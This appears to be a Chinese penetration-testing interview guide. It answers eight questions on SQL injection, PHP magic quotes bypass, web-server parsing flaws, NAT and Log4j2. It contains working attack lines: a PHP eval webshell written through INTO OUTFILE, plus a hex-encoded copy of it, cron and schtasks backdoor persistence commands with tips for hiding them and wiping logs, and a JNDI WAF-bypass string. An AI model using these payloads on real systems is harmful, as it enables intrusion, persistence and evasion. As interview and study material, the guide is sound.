2025年渗透测试面试题总结-100(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
1. SQL的存储引擎
2. SQL注入写Shell的条件与用法
必要条件
利用方法(MySQL示例)
3. GPC是什么?开启后如何绕过
GPC机制
绕过方法
4. MySQL一个@和两个@的区别
5. 解析漏洞汇总(IIS及其他容器)
IIS版本漏洞
其他容器漏洞
6. Wireshark抓包分析(含NAT协议)
数据包变化过程
7. 计划任务与黑客隐藏技巧
Linux计划任务
Windows计划任务
8. 挖过最难的漏洞分析(以Log4j2反序列化为例)
漏洞原理与挖掘难点
1、SQL的存储引擎 2、SQL注入写shell的条件,用法 3、GPC是什么?开启了怎么绕过 4、Mysql一个@和两个@什么区别 5、IIS解析漏洞,不同版本有什么漏洞,还有什么容器解析漏洞 6、wireshark抓包,数据报经过三层交换机、路由的变化,NAT协议描述,地址进入内网怎么变化 7、linux计划任务,黑客隐藏自己的计划任务会怎么做。windows计划任务怎么设定 8、挖过最难的漏洞是什么
1. SQL的存储引擎
核心差异对比(MySQL为例)
引擎 事务支持 锁粒度 适用场景 安全相关特性 InnoDB ✅ (ACID) 行级锁 高并发写入、金融系统 支持外键约束、崩溃自动恢复 MyISAM ❌ 表级锁 读密集型应用(如报表) 无事务日志,易数据损坏 Memory ❌ 表级锁 临时数据缓存 数据存内存,重启丢失 Archive ❌ 行级锁(插入) 日志归档 高压缩比,防篡改设计 补充:
- InnoDB的崩溃恢复机制可避免数据不一致(如渗透测试中意外断电);
- MyISAM表易被文件覆盖攻击(因表文件直接存储在
.MYD
/.MYI
中)。
2. SQL注入写Shell的条件与用法
必要条件
- 数据库权限:
FILE
权限(MySQL中需GRANT FILE ON *.* TO user
)- 路径可写:Web目录绝对路径(通过
@@datadir
或报错信息获取)- 字符过滤绕过:无过滤引号/分号(或可用
0x
十六进制编码绕过)利用方法(MySQL示例)
sql
-- 写入PHP Webshell UNION SELECT 1, "<?php @eval($_POST['cmd']); ?>", 3 INTO OUTFILE '/var/www/html/shell.php' -- 十六进制编码绕过过滤 UNION SELECT 1, 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B203F3E, 3 INTO OUTFILE '/path/shell.php'
注:
- Windows路径需转义(如
C:\\xampp\\htdocs\\shell.php
);- 防御:限制
secure_file_priv
参数(MySQL 5.7+默认禁用文件写入)。
3. GPC是什么?开启后如何绕过
GPC机制
- 功能:PHP配置项(
magic_quotes_gpc
),自动转义用户输入中的'
、"
、\
、NULL
(如'
→\'
)- 影响:破坏SQL注入Payload(如
' OR 1=1
→\' OR 1=1
)绕过方法
- 数字型注入:直接使用数字参数(如
id=1 AND 1=1
)无需引号;- 宽字节注入:GBK编码下
%df'
→%df\'
→ 触发转码形成有效引号(運'
);- 二次注入:存入数据库时转义,取出时还原原始字符再执行;
- 替代字符:使用
LIKE
、REGEXP
等免引号语法。
现状:PHP 5.4+已移除GPC,但旧系统仍需关注。
4. MySQL一个
@
和两个@
的区别
类型 示例 作用域 生命周期 用户变量 @var
SET @count = 0;
当前会话 会话结束前有效 系统变量 @@var
SELECT @@version;
全局/会话级别 重启后需重设 用法差异:
@user_var
用于临时存储查询结果(如SELECT @name:=user FROM users LIMIT 1
);@@system_var
读取配置(如@@version
查版本,@@secure_file_priv
查写文件权限)。
5. 解析漏洞汇总(IIS及其他容器)
IIS版本漏洞
版本 漏洞类型 利用方式 IIS 6.0 目录解析漏洞 /xx.asp/xx.jpg
执行ASP代码分号解析漏洞 xx.asp;.jpg
忽略分号后内容IIS 7.0+ Fast-CGI解析漏洞 xx.jpg/.php
触发PHP解析其他容器漏洞
- Apache:
- 多后缀解析(
xx.php.jpg
若配置AddHandler php5-script .jpg
);.htaccess
文件上传覆盖(允许自定义解析规则)。- Nginx:
- 路径修复错误(
/xx.jpg%00.php
截断解析);- CVE-2013-4547(
xx.jpg \0.php
空字节解析)。
防御:严格校验文件头+禁用不必要的解析映射。
6. Wireshark抓包分析(含NAT协议)
数据包变化过程
mermaid
graph LR A[PC 192.168.1.10] -->|发送 HTTP 请求| B[三层交换机] B -->|路由转发 · 修改MAC| C[路由器] C -->|NAT转换 · 192.168.1.10 → 202.100.1.1| D[公网服务器]
关键变化:
- 三层交换机:重写源/目标MAC地址,IP不变;
- 路由器(NAT):
- 源IP替换为公网IP(如
192.168.1.10:5000 → 202.100.1.1:6000
);- 维护NAT表记录映射关系;
- 返回流量:根据NAT表反向转换目标IP+端口。
Wireshark观测点:
- 内网抓包:仅见私有IP(如
192.168.x.x
);- 网关抓包:可见公网IP与转换后的端口。
7. 计划任务与黑客隐藏技巧
Linux计划任务
- 正常设置:
bash
crontab -e # 用户级任务 echo "* * * * * /bin/sh /tmp/backdoor.sh" > /var/spool/cron/root # 系统级
- 黑客隐藏手段:
- 路径伪装:任务脚本放在
/dev/shm
、/lib/modules
等非常规目录;- 时间混淆:随机执行时间(如
*/37 * * * *
);- 进程注入:通过
ld_preload
劫持cron调用的程序;- 日志擦除:删除
/var/log/cron
相关记录。Windows计划任务
- 命令示例:
powershell
schtasks /create /tn "UpdateService" /tr "C:\backdoor.exe" /sc hourly /ru System
- 隐蔽技巧:
- 名称伪装(如
WindowsUpdateTask
);- 利用系统任务路径(如
C:\Windows\System32\Tasks
)。
8. 挖过最难的漏洞分析(以Log4j2反序列化为例)
漏洞原理与挖掘难点
- 漏洞链:
mermaid
graph TB A[JNDI注入点] --> B[触发lookup方法] B --> C[加载远程LDAP服务] C --> D[下载恶意类] D --> E[执行任意代码]
- 难点突破:
- 触发点隐蔽:需发现可注入的日志字段(如HTTP头
X-Api-Version
);- 绕过防御:
- 高版本JDK限制JNDI远程加载(需结合
Groovy
等二次利用链);- WAF检测
${jndi:
关键字(使用${${env:XXX:-j}ndi
绕过);- 环境依赖:需目标使用Log4j2且JDK版本<11.0.1。
修复方案:升级Log4j至2.17.0+,禁用JNDI查找。